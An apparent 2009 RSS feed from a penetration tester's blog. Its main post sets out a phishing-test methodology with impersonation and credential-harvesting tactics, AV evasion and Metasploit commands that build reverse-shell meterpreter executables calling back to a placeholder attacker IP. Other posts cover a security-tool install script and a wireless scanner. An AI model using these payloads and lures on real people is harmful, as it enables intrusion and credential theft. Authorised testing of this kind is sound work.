<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>HexEsec &#124; a pentester's view &#187; Uncategorized</title>
	<atom:link href="http://hexesec.wordpress.com/category/uncategorized/feed/" rel="self" type="application/rss+xml" />
	<link>http://hexesec.wordpress.com</link>
	<description>sudo apt-get install ... security?</description>
	<lastBuildDate>Wed, 16 Dec 2009 23:34:30 +0000</lastBuildDate>
	<generator>http://wordpress.com/</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<cloud domain='hexesec.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://www.gravatar.com/blavatar/92201dabe8b4987549fde15513466bfb?s=96&#038;d=http://s.wordpress.com/i/buttonw-com.png</url>
		<title>HexEsec &#124; a pentester's view &#187; Uncategorized</title>
		<link>http://hexesec.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://hexesec.wordpress.com/osd.xml" title="HexEsec | a pentester&#8217;s view" />
		<item>
		<title>Testing your susceptibility to phishing attacks &#8211; Are your technical controls helping?</title>
		<link>http://hexesec.wordpress.com/2009/12/16/testing-your-susceptibility-to-phishing-attacks-are-your-technical-controls-helping/</link>
		<comments>http://hexesec.wordpress.com/2009/12/16/testing-your-susceptibility-to-phishing-attacks-are-your-technical-controls-helping/#comments</comments>
		<pubDate>Wed, 16 Dec 2009 23:34:30 +0000</pubDate>
		<dc:creator>jcran</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://hexesec.wordpress.com/?p=313</guid>
		<description><![CDATA[Phishing is one of those things people either love or hate (A lot of it depends on which side of the water you&#8217;re on). That said, the subject of phishing tends to make most admins nervous, as they /know/ their users are going to be susceptible. In my experience, that&#8217;s true. However, there&#8217;s an awful [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hexesec.wordpress.com&blog=4149787&post=313&subd=hexesec&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p>Phishing is one of those things people either love or hate (A lot of it depends on which side of the water you&#8217;re on). That said, the subject of phishing tends to make most admins nervous, as they /know/ their users are going to be susceptible. In my experience, that&#8217;s true. However, there&#8217;s an awful lot of technical controls that can help prevent phishers from being successful. This methodology was developed to help test those technical controls. It&#8217;s a work in progress, but i want to get it out there for your use.</p>
<div>
<div id="gxro">
<h2 id="References">Attack Methodology (Theory)</h2>
<p>The purpose of this attack methodology is to provide a repeatable way to test a client&#8217;s <em>susceptibility</em> to attacks sent over email. The attack methodology progressively increases in cleverness / technical ability of the attack. It aims to test not only the user&#8217;s awareness of a social engineering attack, but also the controls which prevent such attacks.</p>
<p>Many security controls are now involved when sending a simple email. A list of some of those controls:</p>
</div>
</div>
<div id="s9od">
<ul>
<li>Public Availability of Email Addresses / Sensitive Information</li>
<li>MX Configuration
<ul>
<li>Relaying Allowed?</li>
<li>MX Reputation Filtering?</li>
</ul>
</li>
<li>Spam Filtering Capabilities
<ul>
<li>Client-Side</li>
<li>Server-Side</li>
</ul>
</li>
<li>Spam Neutering Capabilities
<ul>
<li>Client-Side &#8211; disables links</li>
<li>Server-Side &#8211; disables links, disables binaries</li>
</ul>
</li>
<li>Antivirus Capabilities
<ul>
<li>Client-Side &#8211; quarantines / deletes binaries</li>
<li>Server-Side -</li>
</ul>
</li>
<li>Firewall Configuration
<ul>
<li>Inbound Traffic</li>
<li>Outbound Traffic</li>
</ul>
</li>
<li>Traffic Proxying</li>
</ul>
<p>Ways in which we can influence the success of the attack:</p>
<ul>
<li>Spoof the sending email address</li>
<li>Source from a more reputable MX</li>
<li>make the binary look less malicious
<ul>
<li>Encode, or encrypt it to bypass AV</li>
</ul>
</li>
<li>remove the binary, and place a link
<ul>
<li>ensure the binary connects back (rather than doing a bindshell &lt;&#8211; you&#8217;d be dumb to do this [NAT])
<ul>
<li>ensure the binary uses proxy settings (passiveX)</li>
</ul>
</li>
<li>send a link containing the malicious payload in an xss vector</li>
<li>send a link containing the malicious payload in a /stored/ xss vector</li>
</ul>
</li>
</ul>
<p>Email Sources:</p>
<ul>
<li>Gmail / Hotmail / Other Free Email Service</li>
<li>Register similar-sounding domain, use your mailserver</li>
<li>Known (Compromised) Email Server on client&#8217;s domain</li>
<li>Other Known Email Server</li>
<li>Unknown Email Server &#8211; Attacker&#8217;s box</li>
</ul>
<p>Social Engineering Plausibility (This is a whole subject in its own right):</p>
<ul>
<li>Send a single link</li>
<li>Send a link w/ a story</li>
<li>Send a link w/ a story from &#8220;the security department&#8221; / &#8220;the administrator&#8221; / &lt;Authority Figure&gt;</li>
<li>Send a link w/ a story from &lt;Insert Administrator&#8217;s Name here&gt;
<ul>
<li>Better yet, get his actual sig</li>
</ul>
</li>
<li>Send a link from a &#8220;friend&#8221;
<ul>
<li>harvest from myspace / twitter / etc</li>
</ul>
</li>
<li>Register new account under known friend&#8217;s name, steal their picture / info, send a new link.</li>
<li>Set up a site to host &#8220;security patches&#8221; or &#8220;new improved notepad.exe&#8221;, send a link</li>
</ul>
<p>Payload Types:</p>
<ul>
<li>binary
<ul>
<li>malicious connect-back binary or script (unencrypted) &#8212;&#8211; test AV</li>
<li>malicious connect-back binary or script (encrypted)   &#8211;/</li>
<li>malicious file (exploiting vulnerability in target&#8217;s system)
<ul>
<li>Adobe PDF</li>
<li>Flash FLV</li>
<li>Microsoft DOCX,PPTX,XLSX, etc</li>
</ul>
</li>
</ul>
</li>
<li>link
<ul>
<li>to page asking for personal information (email passwords &#8211; OWA)</li>
<li>to page w/ malicious binary (to be downloaded)</li>
<li>to page w/ an exploit (metasploit is good here)</li>
<li>to page w/ malicious exploit pack (multiple binaries tried via javascript &#8211; browser auto_pwn)</li>
<li>to page w/ malicious active-x control (passive-x)</li>
<li>to page w/ beef hook (can be encoded)</li>
<li>to reflected xss w/ beef</li>
<li>to stored xss containing beef</li>
</ul>
</li>
</ul>
<p>(add google analytics to any of these for easy tracking of victims)</p>
</div>
<div>
<h2 id="References">Attack Methodology (Practical)</h2>
</div>
<div><strong>Payloads</strong></p>
<ul>
<li>Prepare payloads
<ul>
<li>Prepare handler (on [ATTACKER-IP]) &#8211; listening on :443 so we avoid most egress filtering&#8230; :
<ul>
<li><span style="font-family:Courier New;">./toolkit/nix/framework-net/metasploit-svn/msfconsole<br />
use exploit/multi/handler<br />
set ExitOnSession false<br />
set PAYLOAD windows/meterpreter/reverse_tcp<br />
set LHOST [ATTACKER-IP]<br />
set LPORT 443<br />
save<br />
exploit -j<br />
</span></li>
</ul>
</li>
<li>connect back, unencrypted:
<ul>
<li><span style="font-family:Courier New;">./toolkit/nix/framework-net/metasploit-svn/msfpayload windows/meterpreter/reverse_tcp LHOST=[ATTACKER-IP] LPORT=443 R| ./toolkit/nix/framework-net/metasploit-svn/msfencode -t exe -e generic/none -o unencrypted.exe;<br />
</span></li>
</ul>
</li>
<li>connect back, encrypted:
<ul>
<li><span style="font-family:Courier New;">./toolkit/nix/framework-net/metasploit-svn/msfpayload windows/meterpreter/reverse_tcp LHOST=[ATTACKER-IP] LPORT=443 R| ./toolkit/nix/framework-net/metasploit-svn/msfencode -t exe -o encrypted.exe;<br />
</span></li>
</ul>
</li>
<li>google analytics</li>
<li>beef hook script</li>
<li>beef hook via xss</li>
</ul>
</li>
</ul>
<p><strong>Server</strong></p>
<ul>
<li>Prepare Email Servers
<ul>
<li>Register &lt;Client&gt;.Security@gmail.com (or some similar Gmail address)</li>
<li>Setup Local MX
<ul>
<li>utilize SEF, or some other form of Perl::MIME</li>
</ul>
</li>
<li>Prepare Remotely-Accessible MX</li>
<li>Register Client Domains</li>
</ul>
</li>
</ul>
<p>Now that you&#8217;ve prepared, you can use each server type, to send each payload type.</p>
<h3 id="LocalUnknownMX"></h3>
<h3>Using GMAIL</h3>
<ul>
<li>Send unencrypted binary (TEST-1)</li>
<li>Send encrypted binary (TEST-2)</li>
<li>Send link to page w/ script (TEST-3)</li>
</ul>
<h4 id="Whatthistests">What this tests</h4>
<ul>
<li>Spam Filtering</li>
<li>Content Filtering</li>
</ul>
<h3 id="LocalUnknownMX"></h3>
<h3>Using a Local (Unknown to target) MX</h3>
<ul>
<li>Send unencrypted binary (TEST-4)</li>
<li>Send encrypted binary (TEST-5)</li>
<li>Send link to page w/ script (TEST-6)</li>
</ul>
<h4 id="Whatthistests1">What this tests</h4>
<p>This shouldn&#8217;t make it through.</p>
<ul>
<li>Spam Filtering</li>
<li>Content Filtering</li>
<li>MX Reputation Analysis</li>
</ul>
<h3 id="ValidMX"></h3>
<h3>Using a known, valid MX</h3>
<ul>
<li>Register domain (similar to target)</li>
<li>Set domain MX records to remotely-accessible mail server</li>
<li>Send unencrypted binary (TEST-7)</li>
<li>Send encrypted binary (TEST-8)</li>
<li>Send link to page w/ script (TEST-9)</li>
</ul>
<h4 id="Whatthistests2">What this tests</h4>
<p>This will likely make it through.</p>
<ul>
<li>Spam Filtering</li>
<li>Content Filtering</li>
<li>MX Reputation Analysis</li>
</ul>
<h3 id="Target-InternalMX"></h3>
<h3>Using a Target-owned  MX</h3>
<ul>
<li>Search for any internal relays
<ul>
<li>repeat above steps, sending through internal relay</li>
</ul>
</li>
</ul>
<h4 id="Whatthistests3">What this tests</h4>
<ul>
<li>Spam Issues</li>
</ul>
<h3 id="MeasuringSuccess"></h3>
<h3>Measuring Success</h3>
<p>For a pentest, it&#8217;s useful to know as much information about the clients as possible. You also want some way to maintain access.</p>
<ul>
<li>What you don&#8217;t want:
<ul>
<li>Multiple connect-backs to a single netcat listener</li>
</ul>
</li>
</ul>
<ul>
<li>What you do want:
<ul>
<li>Users entering their information</li>
<li>Meterpreter payloads, with a handler waiting for connect-backs</li>
<li>Google Analytics
<ul>
<li>Register a new site here: <a href="http://www.google.com/analytics/">http://www.google.com/analytics/</a></li>
</ul>
</li>
</ul>
</li>
</ul>
<h2 id="References">References</h2>
<p><a href="https://help.ubuntu.com/community/PostfixBasicSetupHowto">https://help.ubuntu.com/community/PostfixBasicSetupHowto</a> &#8211; Postfix on ubuntu / debian</p>
</div>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hexesec.wordpress.com/313/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hexesec.wordpress.com/313/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hexesec.wordpress.com/313/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hexesec.wordpress.com/313/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hexesec.wordpress.com/313/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hexesec.wordpress.com/313/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hexesec.wordpress.com/313/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hexesec.wordpress.com/313/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hexesec.wordpress.com/313/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hexesec.wordpress.com/313/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hexesec.wordpress.com&blog=4149787&post=313&subd=hexesec&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://hexesec.wordpress.com/2009/12/16/testing-your-susceptibility-to-phishing-attacks-are-your-technical-controls-helping/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/a7ddf41647a2dd583835558cdf11b280?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">jcran</media:title>
		</media:content>
	</item>
		<item>
		<title>what should be considered a vulnerability?</title>
		<link>http://hexesec.wordpress.com/2009/12/15/what-should-be-considered-a-vulnerability/</link>
		<comments>http://hexesec.wordpress.com/2009/12/15/what-should-be-considered-a-vulnerability/#comments</comments>
		<pubDate>Tue, 15 Dec 2009 10:53:20 +0000</pubDate>
		<dc:creator>jcran</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[automation]]></category>
		<category><![CDATA[nessus]]></category>
		<category><![CDATA[nexpose]]></category>
		<category><![CDATA[pentest]]></category>
		<category><![CDATA[scanner]]></category>
		<category><![CDATA[va]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://hexesec.wordpress.com/?p=309</guid>
		<description><![CDATA[&#8230;And now, a rant.
What should be considered (and reported) as a vulnerability when auditing a network?
Is weak network architecture? What if i can hit a critical server from an unprotected workstation? Isn&#8217;t that a vulnerability? Can we detect it?
What are today&#8217;s vulnerability scanners doing to detect bad management practices? Users w/ local administrator? Admins in [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hexesec.wordpress.com&blog=4149787&post=309&subd=hexesec&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p>&#8230;And now, a rant.</p>
<p>What should be considered (and reported) as a vulnerability when auditing a network?</p>
<p>Is weak network architecture? What if i can hit a critical server from an unprotected workstation? Isn&#8217;t that a vulnerability? Can we detect it?</p>
<p>What are today&#8217;s vulnerability scanners doing to detect bad management practices? Users w/ local administrator? Admins in the same segment as untrusted contractors? Windows servers / workstations with the same password?</p>
<p>Isn&#8217;t that a vulnerability? (hint &#8211; pass-the-hash)</p>
<p>What are scanners doing to detect insufficient technical controls? In the face of current (phishing, malware, etc) threats, should lack of egress filtering and lack of a proxy be considered a vulnerability? Should automated tools be picking this up and pointing it out?</p>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hexesec.wordpress.com/309/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hexesec.wordpress.com/309/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hexesec.wordpress.com/309/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hexesec.wordpress.com/309/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hexesec.wordpress.com/309/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hexesec.wordpress.com/309/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hexesec.wordpress.com/309/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hexesec.wordpress.com/309/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hexesec.wordpress.com/309/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hexesec.wordpress.com/309/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hexesec.wordpress.com&blog=4149787&post=309&subd=hexesec&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://hexesec.wordpress.com/2009/12/15/what-should-be-considered-a-vulnerability/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/a7ddf41647a2dd583835558cdf11b280?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">jcran</media:title>
		</media:content>
	</item>
		<item>
		<title>pentesting with an ubuntu box</title>
		<link>http://hexesec.wordpress.com/2009/11/20/pentesting-with-an-ubuntu-box/</link>
		<comments>http://hexesec.wordpress.com/2009/11/20/pentesting-with-an-ubuntu-box/#comments</comments>
		<pubDate>Fri, 20 Nov 2009 03:39:07 +0000</pubDate>
		<dc:creator>jcran</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[pentesting]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[tools]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://hexesec.wordpress.com/?p=306</guid>
		<description><![CDATA[here&#8217;s  a recent drop of a script i use to configure my ubuntu box for pentesting. yes, i could use backtrack (and i do &#8212; especially if i&#8217;m having wireless issues), but this is a quick way to get an ubuntu box up &#38; running. cheers -jcran
#!/bin/bash
# System Configuration &#38; Utilities
apt-get -y install build-essential
apt-get -y [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hexesec.wordpress.com&blog=4149787&post=306&subd=hexesec&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p>here&#8217;s  a recent drop of a script i use to configure my ubuntu box for pentesting. yes, i could use backtrack (and i do &#8212; especially if i&#8217;m having wireless issues), but this is a quick way to get an ubuntu box up &amp; running. cheers -jcran</p>
<blockquote><p>#!/bin/bash</p>
<p># System Configuration &amp; Utilities<br />
apt-get -y install build-essential<br />
apt-get -y install linux-headers-`uname -r`<br />
apt-get -y install sysvconfig<br />
apt-get -y install bum         ## Boot-Up Manager<br />
apt-get -y install tofrodos    ## DOS utils<br />
apt-get -y install xinetd      ## why not.<br />
apt-get -y install unrar       ## RAR support<br />
apt-get -y install p7zip-full  ## 7-Zip support<br />
apt-get -y install fcrackzip   ## Zip cracking<br />
apt-get -y install ipcalc      ## handy<br />
apt-get -y install sharutils   ## uuencode / uudecode<br />
apt-get -y install xclip       ## piping is handy<br />
apt-get -y install ldap-utils<br />
apt-get -y install cabextract  ## damn microsoft and their fascist compression formats!<br />
apt-get -y install g++<br />
apt-get -y install ssh</p>
<p>## Network services<br />
apt-get -y install samba<br />
apt-get -y install nis<br />
apt-get -y install nfs<br />
apt-get -y install smbfs       ## samba utilities<br />
## apt-get -y install tftpd    ## you need to modify the /etc/init.d file&#8230;</p>
<p># system monitoring<br />
apt-get -y install ntop        ##<br />
apt-get -y install sysstat     ## iostat,sar,mpstat<br />
apt-get -y install procinfo</p>
<p># Package Management<br />
#apt-get -y install apt-build<br />
#apt-get -y install apt-dpkg-ref<br />
#apt-get -y install apt-listbugs<br />
apt-get -y install apt-file<br />
#apt-get -y install apt-howto<br />
apt-get -y install apt-utils<br />
apt-get -y install apt-listchanges<br />
apt-get -y install dconf</p>
<p># Terminal Emulators<br />
apt-get -y install tn5250<br />
apt-get -y install screen</p>
<p># Filesystem Support<br />
apt-get -y install sshfs<br />
apt-get -y install ntfs-3g<br />
apt-get -y install ntfs-config<br />
apt-get -y install ntfsprogs<br />
apt-get -y install mkisofs</p>
<p># Gnome-Specific Configuration<br />
apt-get -y install gconf<br />
apt-get -y install gnomebaker<br />
apt-get -y install nautilus-open-terminal</p>
<p># ISAKMPD<br />
# apt-get -y install isakmpd<br />
apt-get -y install vpnc</p>
<p># Multimedia<br />
apt-get -y install amarok<br />
apt-get -y install xmms<br />
apt-get -y install xmms-skins<br />
apt-get -y install xmms-mp4<br />
apt-get -y install mpg123<br />
apt-get -y install totem-xine<br />
apt-get -y install ksnapshot<br />
apt-get -y install istanbul<br />
apt-get -y install recordmydesktop<br />
apt-get -y install gtk-recordmydesktop<br />
apt-get -y install xvidcap</p>
<p># Basics</p>
<p># Netcat &amp; Tunnelling<br />
apt-get -y install netcat<br />
apt-get -y install sbd<br />
apt-get -y install cryptcat<br />
apt-get -y install socat<br />
apt-get -y install vtun<br />
apt-get -y install stunnel</p>
<p># Scanning Tools<br />
apt-get -y install nmap<br />
apt-get -y install nessusd<br />
apt-get -y install nessus<br />
apt-get -y install fping<br />
apt-get -y install hping2<br />
apt-get -y install hping3<br />
apt-get -y install scapy<br />
apt-get -y install snmp<br />
#apt-get -y install sing     #send icmp nasty garbage<br />
apt-get -y install traceroute<br />
apt-get -y install tcptraceroute<br />
apt-get -y install ike-scan ## ipsec vpn tool<br />
apt-get -y install nbtscan ## cifs info tool<br />
apt-get -y install sslscan</p>
<p># Passive Scanning Tools<br />
apt-get -y install p0f<br />
apt-get -y install pads</p>
<p># Sniffing Tools<br />
apt-get -y install wireshark<br />
apt-get -y install ettercap<br />
apt-get -y install ettercap-gtk<br />
apt-get -y install tcpdump<br />
apt-get -y install tcpflow<br />
apt-get -y install ssldump<br />
apt-get -y install nemesis   # packet injection<br />
apt-get -y install dsniff<br />
apt-get -y install etherape</p>
<p># Libraries<br />
apt-get -y install libssl        #Medusa<br />
apt-get -y install libssl-dev        #Medusa<br />
apt-get -y install libssh-2        #Medusa<br />
apt-get -y install python-pycurl    #wfuzz<br />
apt-get -y install libnet-dns-perl    #fierce.pl<br />
apt-get -y install libsnmp-perl        #??<br />
apt-get -y install libcrypt-ssleay-perl #HEAD,GET,POST, libwhisker<br />
apt-get -y install libnet-ssleay-perl   # &#8220;&#8221;     &#8220;&#8221;<br />
apt-get -y install ncurses-dev        # kismet-newcore<br />
apt-get -y install libpcap-dev        # kismet-newcore</p>
<p># Cracking Tools<br />
apt-get -y install john<br />
apt-get -y install medusa<br />
## apt-get -y install hydra? ## not really that useful..</p>
<p># Wireless Tools<br />
##apt-get -y install kismet ## disabled because of kismet-ng<br />
apt-get -y install aircrack<br />
apt-get -y install aircrack-ng</p>
<p># App Layer Tools<br />
apt-get -y install wget<br />
apt-get -y install curl<br />
apt-get -y install nikto</p>
<p>## Scripting<br />
apt-get -y install ruby<br />
apt-get -y install python<br />
apt-get -y install perl<br />
apt-get -y install perl-doc<br />
apt-get -y install gawk<br />
apt-get -y install vim-ruby<br />
apt-get -y install vim-python</p>
<p>## Ruby &#8211; Gems<br />
apt-get -y install gems<br />
apt-get -y install rubygems</p>
<p>## Metasploit dependencies<br />
apt-get -y install libopenssl-ruby<br />
apt-get -y install ruby-libglade2<br />
apt-get -y install libgtk2-ruby</p>
<p>## Scapy &#8211; Python Dependencies &#8211; http://www.secdev.org/projects/scapy/portability.html<br />
apt-get -y install graphviz        # graph stuff<br />
apt-get -y install imagemagick        # graph stuff<br />
apt-get -y install python-gnuplot    # PacketList.plot()<br />
apt-get -y install python-crypto    # WEP Stuff<br />
apt-get -y install python-visual    # 3D Stuff<br />
apt-get -y install python-pyx        # pdfdump() / psdump()<br />
apt-get -y install acroread<br />
apt-get -y install gv<br />
apt-get -y install sox</p>
<p>## ProxyStrike Dependencies<br />
apt-get -y install python-qt4<br />
apt-get -y install python-openssl</p>
<p>## W3af Dependencies<br />
apt-get -y install python-pyparsing<br />
apt-get -y install python-pydot<br />
apt-get -y install python-soappy</p>
<p>## Coding<br />
##apt-get -y install eclipse &#8211; get the latest version&#8230;<br />
apt-get -y install kdevelop<br />
apt-get -y install subversion<br />
apt-get -y install rapidsvn<br />
apt-get -y install vim-full<br />
apt-get -y install git<br />
apt-get -y install git-core</p>
<p>## Documentation<br />
apt-get -y install notecase<br />
apt-get -y install vim<br />
apt-get -y install liferea</p>
<p>## Web / Browser Utilities<br />
apt-get -y install azureus<br />
apt-get -y install opera<br />
apt-get -y install filezilla<br />
apt-get -y install flashplugin-nonfree<br />
apt-get -y install pidgin<br />
apt-get -y install pidgin-otr<br />
apt-get -y install thunderbird<br />
apt-get -y install lightning-extension<br />
apt-get -y install enigmail<br />
apt-get -y install irssi<br />
apt-get -y install silc<br />
apt-get -y install tor</p>
<p>## Windows Stuff<br />
apt-get -y install wine<br />
apt-get -y install quicksynergy</p>
<p>## Encryption<br />
apt-get -y install dmsetup<br />
apt-get -y install password-gorilla<br />
apt-get -y install gpa<br />
apt-get -y install seahorse</p>
<p>## Java<br />
apt-get -y install sun-java6-jre<br />
apt-get -y install sun-java6-plugin</p>
<p>#set our java version to java-6-sun as this plays well with burpsuite<br />
update-java-alternatives -s java-6-sun</p>
<p>## Upgrade &amp; Such<br />
apt-get update<br />
apt-get upgrade<br />
apt-get dist-upgrade</p>
<p>## Remove auto-start services<br />
update-rc.d -f exim4 remove<br />
update-rc.d -f tor remove<br />
update-rc.d -f ntop remove<br />
update-rc.d -f p0f remove ## not sure this is necessary<br />
update-rc.d -f pads remove<br />
update-rc.d -f isakmpd remove<br />
update-rc.d -f nessusd remove<br />
update-rc.d -f cups remove<br />
update-rc.d -f samba remove<br />
update-rc.d -f nis remove<br />
update-rc.d -f nfs-common remove</p>
<p>### Manual installs<br />
### &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
### truecrypt &#8212; http://www.howtogeek.com/howto/ubuntu/install-truecrypt-on-ubuntu-edgy/<br />
###            &#8211; you will need the linux kernel source for this one&#8230;<br />
### onesixtyone &#8212; http://www.phreedom.org/solar/onesixtyone/<br />
### libdvdcss2 &#8212; &#8220;sudo /usr/share/doc/libdvdread3/./install-css.sh&#8221;</p>
<p>### oh yes, and pull down the &#8220;real&#8221; toolkit from subversion -  email if you&#8217;re interested in this -&gt; jcran_AT_0&#215;0e.org</p></blockquote>
<p>you can also download the script here: <a href="http://www.0x0e.org/x/consultant_ubuntu_setup.sh">http://www.0&#215;0e.org/x/consultant_ubuntu_setup.sh</a></p>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hexesec.wordpress.com/306/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hexesec.wordpress.com/306/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hexesec.wordpress.com/306/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hexesec.wordpress.com/306/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hexesec.wordpress.com/306/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hexesec.wordpress.com/306/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hexesec.wordpress.com/306/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hexesec.wordpress.com/306/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hexesec.wordpress.com/306/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hexesec.wordpress.com/306/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hexesec.wordpress.com&blog=4149787&post=306&subd=hexesec&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://hexesec.wordpress.com/2009/11/20/pentesting-with-an-ubuntu-box/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/a7ddf41647a2dd583835558cdf11b280?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">jcran</media:title>
		</media:content>
	</item>
		<item>
		<title>WiFiFoFum for locating rogue access points!</title>
		<link>http://hexesec.wordpress.com/2009/11/20/wififofum-for-locating-rogue-access-points/</link>
		<comments>http://hexesec.wordpress.com/2009/11/20/wififofum-for-locating-rogue-access-points/#comments</comments>
		<pubDate>Fri, 20 Nov 2009 03:15:20 +0000</pubDate>
		<dc:creator>jcran</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://hexesec.wordpress.com/2009/11/20/wififofum-for-locating-rogue-access-points/</guid>
		<description><![CDATA[what&#8217;s that you say? The PCI DSS (wireless supplement) now requires that you have to do quarterly wireless scanning at your facility?
oh? you have no budget? 
no problem. get an ipod touch, and download WiFiFoFum from Aspecto Software. For $2.99, you&#8217;ve got yourself a wireless scanning solution.


       <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hexesec.wordpress.com&blog=4149787&post=301&subd=hexesec&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p>what&#8217;s that you say? The PCI DSS (wireless supplement) now requires that you have to do quarterly wireless scanning at your facility?</p>
<p>oh? you have no budget? </p>
<p>no problem. get an ipod touch, and download <a href="http://www.aspecto-software.com/rw/applications/wififofum/index.html"><b>WiFiFoFum from Aspecto Software</b></a>. For $2.99, you&#8217;ve got yourself a wireless scanning solution.</p>
<p><img style="max-width:800px;" src="http://hexesec.files.wordpress.com/2009/11/img_03611.jpg" /></p>
<div class="zemanta-pixie"><img class="zemanta-pixie-img" alt="" src="http://img.zemanta.com/pixy.gif?x-id=c2531738-ec1d-8ff1-844d-9a806b46e648" /></div>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hexesec.wordpress.com/301/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hexesec.wordpress.com/301/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hexesec.wordpress.com/301/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hexesec.wordpress.com/301/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hexesec.wordpress.com/301/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hexesec.wordpress.com/301/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hexesec.wordpress.com/301/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hexesec.wordpress.com/301/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hexesec.wordpress.com/301/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hexesec.wordpress.com/301/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hexesec.wordpress.com&blog=4149787&post=301&subd=hexesec&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://hexesec.wordpress.com/2009/11/20/wififofum-for-locating-rogue-access-points/feed/</wfw:commentRss>
